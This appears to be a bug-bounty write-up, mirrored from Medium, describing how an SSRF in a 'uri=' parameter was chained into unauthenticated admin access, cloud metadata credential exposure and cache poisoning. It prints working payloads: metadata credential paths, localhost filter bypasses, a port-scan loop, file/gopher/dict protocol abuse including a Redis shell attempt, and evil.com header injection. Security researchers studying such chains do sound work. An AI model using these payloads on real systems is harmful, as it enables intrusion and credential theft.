SSRF to Admin Access: When a “Harmless URL” Took Me Straight to the Kingdom

SSRF to Admin Access: When a "Harmless URL" Took Me Straight to the Kingdom 👑🌐 | by Iski - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original SSRF to Admin Access: When a "Harmless URL" Took Me Straight to the Kingdom 👑🌐 Free Link🎈 Iski Follow ~4 min read · March 29, 2026 (Updated: March 29, 2026) · Free: No Hey there!😁 Life lesson #1: Never trust URLs that look innocent. Life lesson #2: Never trust developers who say "it's just fetching data." Life lesson #3: If it says uri= , it probably says "hack me." 😏 Life lesson #4: Sometimes… even the best findings don't end the way you expect. 🎯 The Target That Looked Too Simple It started like any other bug bounty day — caffeine ☕, Burp Suite open, and my recon scripts humming like a hacker's lullaby. While digging through endpoints, I stumbled upon something that looked too clean : http://site.com/users/view/data?uri= At first glance, it screamed "I fetch external resources" . And to a bug bounty hunter… that's basically a love letter 💌. 🔍 Phase 1: Mass Recon & Pattern Hunting Before touching the parameter, I went full recon mode: gau site.com | grep -i "uri=" waybackurls site.com | grep "fetch\|url\|uri" Then layered it with JS endpoint extraction : cat jsfiles.txt | xargs -I {} curl -s {} | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" 💡 That's when I noticed something interesting… A web cache poisoning-prone endpoint : /api/cache/fetch?resource= This wasn't your typical SSRF entry. This endpoint was caching responses based on user-controlled input — juicy . 🧠 Phase 2: SSRF Discovery (The First Knock 🚪) Back to the original parameter: uri= I tested basic SSRF payloads: uri=http://example.com ✅ Response came back. Now… time for internal probing. uri=http://127.0.0.1 uri=http://localhost uri=http://0.0.0.0 And boom 💥 uri=http://0.0.0.0/admin The response changed. Slightly different length. Different headers. Something was there. 🧨 Phase 3: The Breakthrough Payload Then I crafted the payload that changed everything: uri=http://0.0.0.0/admin/dashboard And guess what? 👉 Admin panel HTML rendered inside the response. No authentication. No tokens. Just vibes. At this point, I literally whispered: "Oh… this is gonna be a good day." 😌 🕵️ Phase 4: Going Deeper (Internal Enumeration) Now it wasn't just SSRF anymore — it was internal network pivoting . I automated internal scans via SSRF: for port in 80 443 8080 3000 5000; do curl "http://site.com/users/view/data?uri=http://127.0.0.1:$port" done Found: Internal API on :8080 Admin service on :3000 Metadata endpoint 👀 ☠️ Cloud Metadata Extraction Classic move: uri=http://169.254.169.254/latest/meta-data/ And yes… it responded. Then: uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 💀 IAM role leaked. Followed by: uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role 🔥 Temporary credentials exposed. 🧪 Phase 5: Web Cache Poisoning Combo Remember that cache endpoint? /api/cache/fetch?resource= I chained SSRF with cache poisoning: resource=http://0.0.0.0/admin/dashboard Then added header manipulation: X-Forwarded-Host: evil.com X-Original-URL: /admin/dashboard Now the admin panel response got cached . Meaning: 👉 Other users hitting that endpoint could receive poisoned responses. That's not just SSRF anymore — that's mass impact . 🌑 Dark Web Twist: Why This Matters More Than Ever While writing this, I remembered a thread I saw floating around underground forums… Attackers are actively trading: SSRF exploitation chains Cloud metadata extraction tricks Internal pivoting scripts Recent breach discussions showed how attackers: Used SSRF to access internal dashboards Pulled cloud credentials from metadata Moved laterally inside networks within minutes And there I was… staring at my screen… realizing I had walked the exact same path. Not as an attacker… but as a researcher. 🧰 Advanced Payload Tricks I Used 🔹 Bypass Filters http://0.0.0.0 http://127.1 http://2130706433 http://[::] 🔹 DNS Rebinding uri=http://attacker-controlled-domain.com (Change DNS after resolution) 🔹 Protocol Abuse file:///etc/passwd gopher://127.0.0.1:6379/_INFO dict://127.0.0.1:11211/stats 🔹 SSRF to RCE (Potential) gopher://127.0.0.1:6379/_SET%20shell%20"" 📸 Proof of Concept (Real Flow) Send request: GET /users/view/data?uri=http://0.0.0.0/admin/dashboard Response: Admin HTML panel visible No authentication required Extract sensitive endpoints Access metadata: uri=http://169.254.169.254/latest/meta-data/ Dump credentials 🚨 Impact This wasn't just SSRF. This was: ✅ Internal admin panel access ✅ Cloud credential exposure ✅ Cache poisoning ✅ Potential RCE paths ✅ Full infrastructure compromise Severity? 💣 Critical 🧠 Final Thoughts Sometimes the biggest bugs don't come from complex logic… They come from a simple parameter like: uri= And a developer who thought: "Yeah… let's just fetch whatever the user gives." 🤡 Gif 🥀 The Climax I Didn't Expect I documented everything carefully. Every request, every response, every step. I rechecked the impact. I revalidated the chain. I made sure it was clean, clear, and undeniable. And then… I submitted it. Days passed. Then came the response. "This issue has already been reported by another researcher." For a moment, I just stared at the screen. All those late nights. All that chaining. All that excitement when the admin panel first loaded… Gone in a single line. No celebration. No closure. Just… silence. 🏁 Closing Note That's the reality no one talks about. Not every valid finding becomes a victory. Not every deep chain gets recognized first. But every hunt? It sharpens you. 🧠⚔️ So if you're hunting: 👉 Keep testing 👉 Keep chaining 👉 Keep learning Because one day… That same persistence will hit first . Stay curious. Stay dangerous. 🕵️‍♂️ #bug-bounty #bug-bounty-tips #info-sec-writeups #cybersecurity #hacking Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).